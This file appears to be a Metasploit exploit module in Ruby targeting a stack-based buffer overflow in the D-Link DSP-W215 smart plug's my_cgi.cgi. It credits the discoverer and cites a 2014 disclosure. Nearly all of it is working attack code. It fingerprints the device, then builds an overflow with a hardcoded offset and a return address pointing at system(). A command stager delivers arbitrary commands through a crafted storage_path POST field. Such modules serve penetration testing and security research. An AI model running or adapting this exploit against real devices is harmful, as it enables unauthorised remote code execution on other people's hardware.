##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'D-Link info.cgi POST Request Buffer Overflow',
      'Description'    => %q{
        This module exploits an anonymous remote code execution vulnerability on different D-Link
        devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
        when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
        handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
        environment.
      },
      'Author'         =>
        [
          'Craig Heffner',   # vulnerability discovery and initial PoC
          'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => ARCH_MIPSBE,
      'References'     =>
        [
          ['OSVDB', '108249'],
          ['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC
        ],
      'Targets'        =>
        [
          #
          # Automatic targeting via fingerprinting
          #
          [ 'Automatic Targeting', { 'auto' => true }  ],
          [ 'D-Link DSP-W215 - v1.02',
            {
              'Offset' => 477472,
              'Ret'    => 0x405cec # jump to system - my_cgi.cgi
            }
          ]
        ],
      'DisclosureDate' => 'May 22 2014',
      'DefaultTarget' => 0))

    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => "/common/info.cgi",
        'method'  => 'GET'
      })

      if res && [200, 301, 302].include?(res.code)
        if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
          @my_target = targets[1] if target['auto']
          return Exploit::CheckCode::Appears
        end

        return Exploit::CheckCode::Detected
      end

    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    print_status("Trying to access the vulnerable URL...")

    @my_target = target
    check_code = check

    unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
      fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
    end

    if @my_target.nil? || @my_target['auto']
      fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
    end

    print_status("Exploiting #{@my_target.name}...")
    execute_cmdstager(
      :flavor  => :echo,
      :linemax => 185
    )
  end

  def prepare_shellcode(cmd)
    buf = rand_text_alpha_upper(@my_target['Offset'])   # Stack filler
    buf << [@my_target.ret].pack("N")                   # Overwrite $ra -> jump to system

           # la $t9, system
           # la $s1, 0x440000
           # jalr $t9 ; system
           # addiu $a0, $sp, 0x28 # our command

    buf << rand_text_alpha_upper(40)                # Command to execute must be at $sp+0x28
    buf << cmd                                      # Command to execute
    buf << "\x00"                                   # NULL terminate the command
  end

  def execute_command(cmd, opts)
    shellcode = prepare_shellcode(cmd)

    begin
      res = send_request_cgi({
        'method'        => 'POST',
        'uri'           => "/common/info.cgi",
        'encode_params' => false,
        'vars_post'     => {
          'storage_path' => shellcode,
        }
      }, 5)
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end
